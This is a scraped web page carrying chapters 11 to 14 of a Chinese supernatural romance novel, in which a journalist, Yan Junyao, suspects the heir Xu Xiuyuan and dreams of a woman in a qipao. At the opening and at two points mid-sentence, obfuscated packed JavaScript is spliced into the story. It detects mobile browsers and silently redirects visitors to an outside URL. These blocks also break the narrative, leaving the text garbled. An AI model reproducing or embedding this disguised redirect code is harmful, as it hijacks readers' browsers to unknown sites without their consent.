35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15951139|177567||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 颜珺瑶慌不迭地收回了视线,点了点头,“没事了,谢谢——许总!” 杨薇看看许修远,又瞅瞅女主,视线在两人身上过了一个来回,更加确认这两人之前肯定就认识了,今天不是第一次见面。 她想了想,于是对颜珺瑶说道,“珺瑶,我先出去给我男朋友回个电话啊!” 而后她又指着病床边的凳子对许修远道:“许总,你坐这儿吧!” 颜珺瑶下意识地回了声好,目送着学姐出了病房,可等到病房里只剩下自己和那个站在病床尾的男人时,她的心又忍不住恐慌了起来,随之而来的还有烦躁,无法克制的烦躁。 突地,她想起一件事,刚才在酒店吃饭的时候,学姐不是说过自己没有男朋友的吗? 她抬眸看向许修远,对上他带着温和笑意的双眼。 是这个男人要跟自己说什么? 算了,既来之则安之,躲不过就只能面对。 虽然她不想和这个男人有所接触,但她还是好奇事情的真相。 她清了清嗓子,“许总——” 她顿住,却不知道接下来该说什么。 许修远淡淡地笑了笑,“颜小姐,我们——见过吗?” 他没有坐下,就站在病床尾看着颜珺瑶,脸上的神情不明。 这话一出,颜珺瑶的脸色瞬间又白了两分。 所以那两个晚上,不仅是自己看到他,他同样也看到她了?! 颜珺瑶忍不住咽了咽口水,迅速摇了摇头,大概是因为太用力,太着急了,脑子里似乎裂开般的疼痛。 她下意识地揉了揉太阳穴,眼睫颤动,并不看许修远,“没见过,今天之前我没见过许总——” 病房里安静了两秒,许修远继续说道:“我觉得颜小姐有些眼熟。” 颜珺瑶拽紧了被子,脑子乱的很,几乎是一团浆糊,这两个月来发生的这许多奇奇怪怪的事情又在脑子里跳了出来。 她又咽了咽口水,余光瞥见床头柜上刚才学姐给自己倒的水,端起水杯猛地喝了一大口,已经凉了。 深吸了口气,开口问许修远,声音几乎有些发颤。 “许总之前——难道见过我吗?” 这个问题要是放在其他的男女身上,也许会让人遐想出一丝旖旎的味道,但许修远和颜珺瑶之间却丝毫没有,有的只是互相之间的试探与怀疑。 许修远又笑了,边点头边说道:“说实话,我确实见过和颜小姐长相相似的人。” 颜珺瑶的嘴角不受控制地抽了抽,不自在地将被子往上拉了拉,“哦”了一声之后却没有了下文。 许修远不经意地瞥了一眼吊瓶,还剩大半瓶。 “医生刚才说,颜小姐可能是受到了惊吓。” 颜珺瑶闭了闭眼睛,费力地深吸了一口气,顷刻间就回忆起陷入昏迷前的那种痛苦无助却又无法自控的窒息感。 自己是受到惊吓所以导致窒息吗? 这——可能吗? 但受到惊吓却是实实在在的。 在看到活生生的许修远的第一眼,那两个晚上的惊恐如潮水般涌来。 她抬眸瞥了一眼许修远,又迅速敛眸,发现对方正定定地看着她。 他在等着自己的答案。 “我——”她真的不知道该怎么回答。 “颜小姐在见到我之前,看到了什么或是发生了什么?” “我——我只是在打电话而已。”颜珺瑶侧头看了一眼床头柜上的手机,还好,没有碎屏。 许修远的视线跟着落在床头柜上,很快又移开,“所以,是我吓到了颜小姐?” 12. 第 12 章 颜珺瑶没有回答,许修远也没有再问。 病房里再次安静了下来,两人都不说话。 颜珺瑶心头的烦躁越发强烈,不想看到面前的这个男人,但偏偏这个人看不出来有要离开的意思。 她想了想,蓦地开口说道:“某总,今天谢谢您的帮忙,医药费回头我会还给您的。” 许修远弯了弯唇角,凝视了颜珺瑶片刻,点了点头。 “可以。那加个微信,方便联系。” “……”颜珺瑶觉得许修远可能是误会了。 她的意思就真的只是要还钱,字面意思,字面意思,并不是想要他的联系方式。 她不想跟他再有任何联系。 颜珺瑶动了动唇,却没有拒绝,只好拿出手机加了这位大Boss的微信。 不管如何,钱还是要还的。 许修远收起手机,“颜小姐好好休息,我就不打扰了。” “今天——多谢许总了!” 许修远笑着看了她一眼,没说什么,抬步离开了病房。 颜珺瑶看出,他的笑意不达眼底,只是出于自身的修养而保持的礼貌。 他在怀疑她。 不巧,她也觉得他非常有古怪。 * 许修远前脚刚走,杨薇后脚就进来了,手上还提着一份皮蛋瘦肉粥,是特意给颜珺瑶买的夜宵。 “饿了吗?今晚聚会看你也没怎么吃呢!” “……”其实今晚她吃得不少。 颜珺瑶不好拒绝,对着学姐笑着说道:“今晚太麻烦学姐了,耽误到这么晚了,学姐赶紧回去休息吧!” 杨薇并不着急着走,瞥了一眼床头柜上那个被捏瘪的纸杯,重新取了一个纸杯倒了一杯温水,坐到了病床边,“喝口水。” “谢谢学姐——” 颜珺瑶抿了抿唇,接过来猛喝了一大口,心头的烦躁还是无法完全平复。 她看了一眼学姐,猜到对方应该是有问题要问她的。 果然,很快杨薇就开口了。 “珺瑶,你以前——和许总认识吗?” 不怪她多想,实在是今天许修远的行为方式不太符合她平日里认识的那个许总。 许总看颜珺瑶的态度,没有丝毫暧昧,不像是对颜珺瑶一见钟情,更不像对待前女友的感觉,就是很奇怪,像是—— 像是在探究,在怀疑。 要说这两人之前没关系,打死她都是不相信的。自己要是真的相信了,那她真的是白活这么多年了。 可这两人现在这样子,到底怎么回事? 闻言,颜珺瑶并不惊讶,摇了摇头,“不认识。” 顿了顿,忍不住又问道:“他就是之前出车祸那位老许总的儿子?” 杨薇微不可察地挑了一下眉,颜珺瑶在转移话题。 算了,她不想说实话,自己也不能逼她。自己现在就在许总身边工作,要是两人继续有来往,自己还能不知道? 且等着,总会知道的。 “是啊!他是我们老许总的儿子,也是我们老许董的孙子,许家唯一的继承人。” 唯一。 颜珺瑶脑子里冒出了那个穿鹅黄色小旗袍的小女孩,以及贴吧网友的那条留言。 出事的征兆。 许修远的父亲出车祸,她无意中目睹,看到了一个似乎只有她能看到的孩子。 现在她又和许修远貌似有了点牵扯—— 自己要不要提醒他呢? 颜珺瑶揉了揉太阳穴,觉得自己好像有点想多了。 且不说那两个晚上的奇怪经历到底是不是什么出事的征兆,即使真的是,自己突然跑到许修远面前说,哎,你可得小心点,很可能会出事啊! 对方大概会把她当做疯子吧! 别到时候是她自作多情,那就尴尬了。 可——要是万一呢? 人命关天啊! 杨薇又和颜珺瑶说了会儿话,看出颜珺瑶确实没什么大碍,连家里人都没通知,便起身回家。离开前,又嘱咐颜珺瑶好好休息,有什么事情就给她打电话,明天早上再过来看她。 颜珺瑶笑着道:“学姐,我已经没事了,要不是医生一定要我观察一晚上,其实我现在就可以回家的,你明天不用过来看我了,太麻烦了,我自己没问题的。 杨薇也没再客套,离开了医院。 * 这是间单人病房,等到学姐一离开,病房里就只有颜珺瑶一个人,安静的可怕。 她回想着自己今天晚上发生的一切,仍会寒毛直竖,心跳不稳。 现在看来,瑜欣姐送她的那个水晶摆件现在应该就在许修远手上。 太过诡异了。 更恐怖的是,她觉得自己有时候好像不是她自己了。 总有一种无法控制自己的感觉。 莫名其妙的烦躁,怨恨,尤其是在见到许修远的时候。 还有那种被勒颈掐脖般的痛苦,之前在目睹车祸的那个傍晚也曾有过,自己记忆犹新,但今晚的痛苦远胜于那天。 颜珺瑶不解,之前自己因为一直发烧,做过十分全面的体检,甚至检查过自己有没有哮喘,结果都显示自己身体很健康。 为什么又突然出现这种情况了呢?而且还这么严重。 颜珺瑶在病床上辗转反侧地难眠,但毕竟是受了不小的惊吓,大概到了凌晨,身体开始疲劳,迷迷糊糊地睡过去了。 又出现了。 她又出现了。 那个穿着旗袍的女人再次在朦胧中现身,仍是那身尽显曲线的旗袍,同一张既熟悉又陌生的脸,微微启唇,缱绻无限地喊着同一个名字。 “君平。” 颜珺瑶猛地惊醒过来,眼前大亮,是她刚才忘记关灯了。 她擦了擦额头上渗着的细密汗珠,回想着刚才梦中的那个旗袍美人。 怎么又梦到她了?她到底是谁?那个君平又是谁呢? 如果第一次算是噩梦,那现在已经是第二次了。颜珺瑶几乎肯定,这个旗袍美人一定是想让她帮忙完成什么心愿的。 可就只有两个字,一个名字,再没有其他任何信息,她就算想帮,也爱莫能助啊! 你倒是多给点提示啊! 至于她身上的那件旗袍,她的心头突然涌现一股莫名的感觉。 它的款式和绣花如烙印一般记在了脑海里,只恨现在手边没有纸笔,否则真的想立即把它付诸于纸上。 多么漂亮的衣服啊! 她真的好喜欢呀! * 不知不觉又睡了过去。 次日一大早就被病房外的动静吵醒了,颜珺瑶睁开眼睛的那一刻,整个人是恍惚的。 下一秒,她反应过来,自己这是又在医院过夜了。 真倒霉。 虽然医生表示可以出院了,但颜珺瑶还是不放心地又做了呼吸系统的检查,结果确实是没有哮喘病。 真是——让她不知道说什么好了。 她甚至疑心,自己是不是得了什么罕见病,要不然怎么会查不出来呢? 办理出院手续的时候,一看医药费,颜珺瑶感觉自己的心在滴血,我滴个天啦,真的是好心疼啊! 虽然可以报销,但花出去的也不少,她的钱包啊! 这两个月,自己光是进进出出医院,做各种检查就花了不老少的钱,可也没查出个究竟来。 重重地叹了口气,认命地拿出手机,找到许修远的微信,把医药费转了过去,并留言再次表示感谢。 还有更倒霉的。 回到住处,才睡了个午觉起来,颜珺瑶悲催地发现,自己又发烧了。 实在没辙,只好又去了医院。 鉴于之前的经验,颜珺瑶选择了打点滴。 刚从医院出来,这一天都还没过去,不到半天又来了,实在是太过令人咬牙切齿。 大概是白天睡多了,颜珺瑶坐在靠墙的椅子上百无聊赖,突然想到什么,打开微信,发现都快一天了,许修远居然还 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15951140|177567||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 没有接收自己的转账。 是忙得没时间看手机,还是故意不收? 哎,他要是一直不收的话,二十四小时之后就会被退回,自己还得转。 想想都觉得麻烦。 她有一种直觉,许修远是故意不收的。 他在等着自己先主动联系他。 “……” 要真是如此的话,她真的很想打人。 她真的是不想和许修远再有什么牵连,总感觉自己这倒霉催的劲儿,貌似就是从目睹了那场车祸开始。 目睹他父亲的车祸,自己进了医院;那两个晚上令人毛骨悚然的经历,她想起来都心悸;昨天一见到他,自己居然又进了医院。 自己大概是和许家犯冲吧?! 算命的那位老先生说自己命格好,而且会遇上贵人,也不知道什么时候能碰上这个贵人? 这个贵人是不是就是帮自己化解这个麻烦的呢? 不管贵人什么时候出现,颜珺瑶都要先努力解决眼下的麻烦。 自己想拿回那个水晶摆件。 那是她大三的时候参加比赛得奖,瑜欣姐特意去订做的,对她而言十分珍贵。 颜珺瑶不由自主地坐直了身体,又想点进去那个寻找失主的帖子,发现帖子居然被删除了。 心头一个咯噔,看来自己的水晶摆件真的是在许修远那里。 因为他找到了她,所以就没必要让助理满世界的找人。 那他,这么大费周章地找自己,不可能只是想把水晶摆件还给自己吧? 否则昨天怎么一句都没提呢? 怀揣着最后一丝丝侥幸的心理,颜珺瑶又拨通了那个“隔夜蒜薹炒肉”的电话。 帖子虽然删除了,但幸好昨晚自己给他打过电话,手机里有通话记录。 嘟声响了很久才接通,颜珺瑶一开始还担心会被转接到学姐那里,但那一头说话的确实是昨晚接电话的那个男人。 “你好,请问是哪位?” 颜珺瑶轻咳了一声,“你好,不好意思打扰了,我昨晚给你打过电话,就是想问问那个水晶摆件。” 电话那头的人似乎认出了女主的声音,笑着说道:“哦,是颜小姐啊!” 颜珺瑶愣了愣,突然觉得哪里好像不对劲,但一时没想出来,继续说道:“请问那个水晶摆件的底座是不是刻着英文名Alice,以及时间2021.06.30呢?” 电话那头的男人笑着承认,“是的,颜小姐说的很对。” 颜珺瑶松了口气,笑了笑,“您捡到的这个摆件应该是我弄丢的——” 电话那头知道她的意思,于是接着她的话说道:“其实东西是我们许总捡到的,他说他已经找到了失主,东西现在也在他那里。” 最后一点希望都破灭了,所以自己想要拿回那个摆件,还是要和许修远联系。 他到底想做什么? 昨晚在病房里,他一直在试探她,也许一开始还不能确定,但最后他得到了答案,所以才主动加了微信。 他之所以没有提到那个水晶摆件,是觉得自己会为了那个摆件主动联系他的吗? 颜珺瑶憋着一口气,烦死了。 真的是被这个男人算准了。 蓦地,她意识到什么,对了,刚才电话里的那个男人直接喊了自己颜小姐。 他怎么知道自己姓颜的呢? 明明昨天自己和他联系的时候,根本就没有说过? 所以是许修远知道了她是谁,并且告诉了他的助理。 说不定接下去许修远还会让助理去调查她呢,如果真是这样—— 颜珺瑶光是想想,就觉得快要气死了! 不,她觉得许修远一定会调查她。 那两个晚上,不仅自己看到了许修远,许修远也看到了她。 所以他怀疑她,试探她,也许现在他心里,她或许是妖魔鬼怪?借尸还魂? 总之不是正常人。 当然,她就是这么怀疑他的。 13. 第 13 章 挂完点滴回到住处,颜珺瑶接到母亲的电话,嘱咐她别忘了明天晚上回家吃饭。 上一次休息的时候,她因为忙着调查所谓的“睡衣男鬼”的事情,所以没敢回去,怕爸妈发现什么端倪,便找了借口说是和朋友出去玩。 于是就随口说了一天,但爸妈一直记着。 第二天醒来体温正常,但还是有些精神不济,可她昨天已经请假了一天,而且听主任那语气,虽然没有明说,但似乎有些不满。 这不怪主任,清明节之前她一气儿请了那么久的病假,这次又是,她不好意思再请了。 万幸工作了一天下来,没再出现体温反复的情况。傍晚从电视台回到家里,和爸妈吃了饭之后,就直接躺到了沙发上,不知不觉就眯着了。 钱艺文见她饭后犯困,就让她回屋里睡。 颜珺瑶迷迷糊糊地,但还清楚记得那两个晚上的可怕经历,即使知道对方是个活人,心头总像是有云雾未散。 “我就在这眯一会儿。” 就听母亲唠叨了一句什么,没听清,但紧接着她就察觉到自己身上盖上了被子。 * 颜珺瑶以为这一次的发烧应该就是受惊过度导致的,但没想到接下来的一周,自己再次经历了两个月之前的那种反复。 还好这次都是低烧,没有上次那么厉害,也没有持续很长时间,偶尔实在觉得难受,退烧药足以应付,但也不敢多吃。 多亏了她本身体质不错,没觉得太难受,工作方面还能应付的来。 她一直没请假也不敢请。 要是又像之前那样请那么久的假,主任估计得原地爆炸,她也不好意思提。 不过身边的同事还是发现她不太对劲。 中午吃过午饭,张熙杰见她有气无力地趴在桌子上,便问她是不是又不舒服了,颜珺瑶摇摇头说没事。 张熙杰不放心,想要探一探她的额头,但颜珺瑶似乎猜到了他会这么做,一把就抓住了张熙杰的手腕,笑呵呵道:“我没事,就是有点困。” 她不想让张熙杰知道自己的情况,否则师傅也会知道,肯定又会让自己请假回去。 自己虽然在单位不算新人,但这两个月请假真的太多了,再请下去,肯定会招人闲话,说她娇气躲懒之类的。 虽然妈妈对自己的这份工作不太满意,劝她改行,但她还是很喜欢,并不想失去。 * 终于又熬到了休息时间。 颜珺瑶在家里闷头睡了一整天,发了汗,感觉好了不少,精神头也足了,而且已经有两天没再发烧,她有些小窃喜,打算第二天回家去。 但心头还是一直吊着件事。 水晶摆件还在许修远那里。 这段时间她给许修远转了几次钱,但对方都没接收,所以他就是故意的。 她想过要不要通过学姐把钱还给许修远,但一想又觉得不妥。 她正琢磨着,如果主动联系许修远提出见面,当面把话说开,对方会相信吗? 但心底抹不掉的恐惧,让她一直下不定决心。 一大早,颜珺瑶正刷着牙,吴以晴突然打来了电话。 说是她未婚夫今天有事,不能陪她去试穿婚纱,问她有没有时间。 颜珺瑶只好给爸妈去了电话,说是计划有变。因为吴以晴是她的高中同桌,爸妈也认识她,自然没说什么,但还是忍不住唠叨了她两句。 “你看看你,人家和你一边大,现在都准备要结婚了,你连个男朋友都还没谈过。” 颜珺瑶就知道妈妈会这么说她,也不在意,笑嘻嘻地应付了过去。 * 到了婚纱店,吴以晴试穿了之前定做的婚纱,发现还是有些紧,就有些急了。 “别人准备婚礼都是变瘦,我怎么还变胖了?” 紧接着又抱怨自己吃的太多,决心婚礼之前要减减肥,减出好身材。 婚纱店店员笑着道:“您的身材还是非常棒的,凹凸有致,曲线玲珑。” “跟她一比,我还差点意思——” 吴以晴指着颜珺瑶,而后佯装恼怒道:“到时候婚礼上,你这个伴娘怕是要抢了我的风头。我决定了,你的那件礼服我要改成大一号,不让你秀身材了。” 颜珺瑶抿着嘴笑起来,一旁的店员也被逗乐了。 吴以晴忍不住戳了戳她的腰,不无羡慕地说道:“你说说你,你们家到底是什么基因,就没见你怎么胖过,脂肪都长在了该长的地方,这身材真的是羡慕死我了。” “因为我每天步数多!” 站在边上的店员趁机说道:“这位女士要不要也试一试,我们店里新进的一套婚纱特别适合您穿。” 颜珺瑶婉拒,“谢谢,等我准备结婚的时候会考虑来您这里的。” “少说大话——”吴以晴晲了她一眼,“还没对象呢,跟谁结婚去!” 说着又想起了什么,搭上她的肩膀,继续说道:“我老公叫的那几个伴郎有两个长得很帅,到时候介绍给你啊!” 颜珺瑶没搭理她,转了一圈仔细打量了吴以晴,由衷地赞美道,“真的好漂亮!” 吴以晴笑眯眯的,一双大眼睛都快眯成一条缝了。 出了婚纱店,两人简单地吃了个午餐,吴以晴没敢吃饱,因为下午还要试穿敬酒的旗袍。 颜珺瑶见她不吃,也不好多吃,免得让她难受。 旗袍店不在市中心的商场,而是在一栋居民楼的一层,两人下车之后步行走了十几分钟才到。 小区很旧,店铺老板是个五十岁上下的中年男人,店面也谈不上什么装修,看起来就像是影视剧里旧时代的裁缝铺。 吴以晴的旗袍是半个月前定做的,试穿上身,十分合适,不停地转着身对着镜子瞧,还让颜珺瑶帮她从不同角度拍了照。 效果很不错,吴以晴满意地不行。 拍完照,颜珺瑶突然被靠墙的一排旗袍吸引了注意力。 各种颜色,不同面料,长短不一,令人目不暇接。 可以想见,这些衣服穿在身上是多么的有韵味。 颜珺瑶不由自主地走了过去,从上面取下来一件香槟色的旗袍。 蓦地,手中的这件突然就和她在梦中看到的那件旗袍重合在一起。 虽然手上的这件从用料到做工,无一处不精细,但细看之下,这两件还是有不小的差别。 而她打心底里更喜欢自己梦中看到的那一件,莫名觉得那一件更胜一筹。 从款式来看,手上这件应该是经过了一定的改良,融入了现代的元素,显得更时尚一些;而梦里看到的那件,大概因为是上身,所以显得更加生动,韵味十足,当得上端庄雅致四个字。 老师傅见状,“姑娘,想做件旗袍吗?你很适合穿旗袍的。” 颜珺瑶愣了一下,适不适合是一回事,主要是真的做了旗袍,也没什么场合可以穿,大部分时候只能用来压箱底。 太浪费了。 吴以晴也劝道:“要不你试试吧?衣服穿身上才能看出效果的。” 颜珺瑶将旗袍放回原处,不了。 如果一定要穿的话,她想试试梦里的那件。 * 回到家里,颜珺瑶的脑子里时不时就会闪现那件旗袍。 那件她梦到过两次的旗袍。 无法控制。 大概是日有所思,夜有所梦,当晚,她再次梦到了那个和她长相相似的女人。 她还是穿着那件旗袍,口中依旧叫着那两个字。 君平。 颜珺瑶呆愣愣地看着她,良久之后突然想起什么,着急起来,想要张口说话,问她到底想要自己帮她做什么,为什么不直接告诉她。 可她却又成了哑巴,一个字也说不出来。 情急之下,她喊了出来,下一秒,她猛地睁开了眼睛。 喘息未定,她急忙开了灯 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15951141|177567||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,一看手机,凌晨十二点多了。 起身下床,直接坐到了桌子前,情不自禁地从书架里抽出一个素描本,往后翻到中间一页。 但纸上却不是空白。 虽然只是打了粗稿,画了个大致轮廓,但还是一眼就能看出来,执笔之人应该是在画旗袍。 她愣了下,想不起来自己究竟什么时候动过笔了。 不过她没心思琢磨,因为她今晚终于把梦里旗袍的细节给看清了,拿起铅笔,慢慢将笔尖按到了纸上,刷刷刷地画了起来。 旗袍是双层错落荷叶袖,V型立领,每一层的袖边都嵌着一圈珍珠。 不仅如此,从领口的第一个袖口下方开始,沿着两边胸部的隆起至侧边的一条弧线上也缝上了珍珠,颗颗珍珠圆润饱满,珠色柔和。旗袍的面料应该是极好的,上面有着淡淡的雏菊花纹,梦中还是看不清到底是印染的,还是绣上去的。 旗袍十分修身,线条流畅,曼妙身姿尽显无疑。双层荷叶袖的设计,很显年轻,增添了活泼灵动之感,而且梦里的女人看起来就很年轻。 梦中的女人确实是个美人,虽然她自认为自己和她有六七分相似,但对方无疑比自己美,尤其是在这一身旗袍的映衬下,明媚动人与端庄温婉集于一身,竟丝毫没有任何违和感。 若是现实生活中碰上,实在让人难以不多看上一眼。 不知画了多久,颜珺瑶终于放下了笔,看了纸上的作品好一会儿,露出一个满意的笑容。 画成了。 小心翼翼地撕下来,又拿了一个文件夹放好,这才觉得稳当。 瞥了一眼放在床头柜上的手机,犹豫了两秒,过去拿了手机,拨通了张熙杰的电话。 没响几声,张熙杰就接起来了。他很明显是已经睡着了,但被这通电话给吵醒了。 一听到手机铃声响起,他条件反应地就从床上坐了起来,语气急促。 “喂,珺瑶,地点在哪里——” 说着就下了床,准备换衣服,哪知电话那头的颜珺瑶却不慌不忙,一点都不着急的样子。 她柔柔地笑了笑,“我在家里啊——” “我天,你吓死我得了——” 张熙杰松了一口气,他还以为是凌晨突发什么事件,通知他到场呢! “怎么这么晚还不睡——这都——我看看,两点了都。” 颜珺瑶无视他的问题,不答反问:“你前两年是不是做过关于旗袍文化的专栏内容?” 张熙杰突然觉得她似乎和平时不太一样,对,就是说话的感觉,像是拿捏着腔调,特别的——柔媚。 他清了清嗓子,让自己不要多想,回道:“是啊,挺久的了,那会儿你还没毕业呢,怎么突然问起这个?” “那你能帮我找几个做旗袍的老师傅吗?最好是家传的手艺。” 张熙杰笑道:“当然可以,我们市好手艺的老师傅我之前大部分都采访过,还都记得,你怎么突然想做旗袍呢?” “因为喜欢啊!”颜珺瑶低低地笑了,“有姓何的老师傅吗?” 张熙杰想了想,真想起来一个,有些吃惊:“还真有一个姓何的老师傅,几十年的家传手艺。 你听说过他?” 颜珺瑶莞尔一笑,兀自说道:“那就好。” 挂了电话,张熙杰冷不丁地打了个寒颤。 他忍不住又看了一遍自己刚才的通话记录,是颜珺瑶的名字。 刚才自己听到的也是她的声音,可怎么自己就是感觉不是她呢? * 第二天早上到了单位,颜珺瑶发现张熙杰一进来,就看向她,而且眼神奇奇怪怪怪怪的,像是不认识她似的。 她忍不住拿出手机看了看,脸上很干净啊! 等到张熙杰经过她的位置时,她拽住他,直接问了:“你——咋了?” 张熙杰的眼神在她脸上逡巡了一回,“你——你怎么突然想穿旗袍了?” 14. 第 14 章 颜珺瑶笑起来:“昨天陪以晴去试礼服,觉得旗袍真的很好看,所以就想穿啊!” 原来是这样。 那怎么大半夜地给他打电话呢? 他不是介意,只是他了解颜珺瑶,她不可能会因为这么一点事就大晚上地打扰别人,完全等到第二天再问也不迟。 可她居然迫不及待地选择凌晨两点打电话,而且说话腔调还——还变得很是妩媚。 这不像她。 张熙杰点了点头,“你高中同桌结婚了?” 颜珺瑶嗯了一声,“我也很意外啊,没想到她这么早就结婚,大学时她还囔囔着打死都不结呢!” “你明天下班后有没有安排,要是没事,我就带你去找那位姓何的老师傅。” “?”颜珺瑶愣了愣,“姓何的老师傅?” 哎——等下,熙杰怎么知道自己想穿旗袍的?自己也没告诉他啊! “不是你说的要找姓何的老师傅吗?” 颜珺瑶有些恍然,自己说的吗?什么时候说的啊?她居然有点想不起来了。 张熙杰打开手机,点开通话记录给她看。 颜珺瑶眨了眨眼,自己还真的大半夜地给他打了电话,就为了定做旗袍? 魔怔了吗?好奇怪。 她讪讪一笑:“昨晚是不是把你吵醒了?” 张熙杰仿佛没听到她说的话,而是问道:“你——怎么会知道这位姓何的老师傅呢?” 既然她知道有这么个人,又为什么特意再问他呢? 颜珺瑶微微蹙眉,思索片刻,脑子里是有这么个称呼,但怎么知道的? 当真是一点印象都没有。 她有些怀疑,是不是这段时间三不五时的发烧,把自己的脑子给烧坏了。 “可能是听别人或者你之前跟我说过,我不记得了。” 张熙杰觉得真有这种可能,稍稍放了心,又忍不住多了句嘴,“你——有没有哪里不舒服?” “没事啊,好着呢!” 颜珺瑶最近对他说的最多的就是“没事”这两个字,张熙杰也知道她主意正,要是不想告诉别人,就一定不会说出来,也就不再问了。 * 气温慢慢地爬升,白昼越发长了。 下班时,颜珺瑶坐进张熙杰的车子,望着外面的天色,还算亮堂。 车子进入主路,听着车里的舒缓音乐,她开始昏昏欲睡。 不知道开了多久,颜珺瑶一个激灵醒了过来,发现是在等红灯。 张熙杰侧头看了她一眼,“今天跑了一天,中午都没休息,你继续睡吧,到了地方我叫你。” “不——”颜珺瑶悠悠地开口了。 “嗯?怎么——” “我想先回去一趟,换身衣服。” 张熙杰不禁仔细打量了一下她,今天她穿的这套衣服就很好看,趁着肤色白里透红,整个人很是高挑,见人也合适。 不过,想换就回去换吧,反正也不算绕路,时间上也来得及。 等到红灯结束,车子重新出发,到了下一个路口向右拐弯,不再直行。 到了租住的小区楼下,颜珺瑶下了车,不慌不忙地往里走去。 进了门,直奔卧室的衣柜,打开衣柜就翻找了起来。 好一会儿,她突然一怔,瞬间起了一身的鸡皮疙瘩。 她——她刚才居然在自己的衣柜里找起了旗袍。 莫不是疯了? 她的衣柜里哪里有什么旗袍? 颜珺瑶拍了拍脸,觉得似乎清醒了一些,选了条连衣裙出来,脑子里又突然闪过一个疑问。 自己这是要去哪里? 哦,对,对,熙杰在楼下等着自己呢,说是去—— 对,去做旗袍。 收拾妥当,刚走到客厅,她又想起什么,返回了卧室,在书桌上找到了一个文件夹,放入包里。 * 张熙杰下了车,站在车子边上,一边刷手机一边等着。 余光突然瞥见一个熟悉的身影,他抬头一看,眼前一亮,一瞬不瞬地看着她。 颜珺瑶款款地走到他面前,莞尔一笑,明眸皓齿,眼波流转,柔媚动人,让人挪不开眼。 张熙杰莫名地有些脸红,不自在地偏开了视线。 她今天真是格外的漂亮,一件粉色修身的小礼裙,妆容精致,性感又妩媚。 “上——上车吧!” 虽然从小和颜珺瑶一起长大,一直都知道她长得漂亮,但她平日里都是淡妆示人,像今天这么精致的打扮,还是第一次见。 车子上路,张熙杰发现颜珺瑶今天特别安静,有些不自在,向来他们两个在一起的时候都非常自然,话特别多。 他轻咳一声,打破了车里的沉寂,“怎么——不说话?想什么呢?” 颜珺瑶长长舒出一口气,先是笑了笑,又看了眼张熙杰,“说什么呢?要不——你先说?” “这条裙子第一次见你穿,很适合你。” 颜珺瑶低头看了一眼身上的小礼裙,愣了许久,才说道:“去年我外公外婆带我去参加婚礼时,特意买的,某宝上淘的。” 张熙杰笑起来,“那今天就去好好定做两身旗袍,你一定很适合穿旗袍。” 颜珺瑶笑了笑,之前吴以晴说她适合穿旗袍,今天张熙杰也这么说,其实她长这么大,还没穿过旗袍。 她不说话,望向车窗外,车马喧嚣,霓虹闪烁。 天色开始暗了下来。 * 许修远通过几张老照片,打听到了何老师傅这里。 何老师傅的父亲和许修远的太爷爷曾经是好友,当年许修远的太爷爷曾资助何老师傅的父亲开了一家名为鸿锦时装公司的旗袍店。 何老师傅的父亲在开店前是一家裁缝铺的学徒,学成出徒却一直没有足够的资金能自己开店。机缘巧合之下,何老师傅的父亲结识了许修远的太爷爷,许修远的太爷爷惜才,所以才有了这家店。 家里的旧相册里有几张太爷爷和一位年轻男人的合影,应该就是鸿锦时装公司开业那天拍的,有在店门口拍的,也有在店里拍的,场景都十分热闹。 现在这家店传到了何老师傅手上,但时过境迁,穿旗袍的人也越来越少了,这家店已经不复往日的红火,店名也改为鸿锦阁了。 何老师傅自然是了解这些事情的,也一直都很感激许家人。不过许家人已经许多年没过来定做过旗袍,两家人算是已经没了来往。但今天—— 许修远突然上门拜访并定做旗袍,这令他着实吃了一惊。 他还记得,许修远的太奶奶和奶奶还在世的时候,就曾定做过不少的旗袍,父亲每次都是亲自上门去服务,他也跟着去过几次。 他直觉,这次许家这位年轻人的目的,不应该只是要定做旗袍这么简单。因为许修远心中有成衣,他一定是见过了某件旗袍,所以才向他描述了他要定做的旗袍的款式,并且问他店里有没有设计过类似的旗袍。 这就有点难为他了,从父亲开店到现在,已经好几十年了,设计过不少的款式,他一时还真想不起来。 何老师傅在自己店里的样衣里翻找到一件基本符合许修远描述的旗袍,但许修远看了之后,只说有点类似,却并不是。 “应该是老款式,几十年前的设计。” 原来如此。 何老师傅找出了一本老旧的样式图册,许修远一张张翻看,真的在里面找到了一张和自己看到的那件旗袍几乎一样的设计图。 何老师傅笑着说:“这定做旗袍需要尺寸,不知道你是要给谁做的?” 这本图册里的设计图都是父亲当年亲手画的,随着时代的变化,款式设计也推陈出新,现在他已经很少会用到这本图册了。 许修远选的这一款是适合年轻女人穿的,这还是父亲当初根据民国时的传统旗袍改良的,在当时算的上是十分时髦,即使放到现在也是非常漂亮,但还是要看穿的人能不能把这件衣服撑起来。 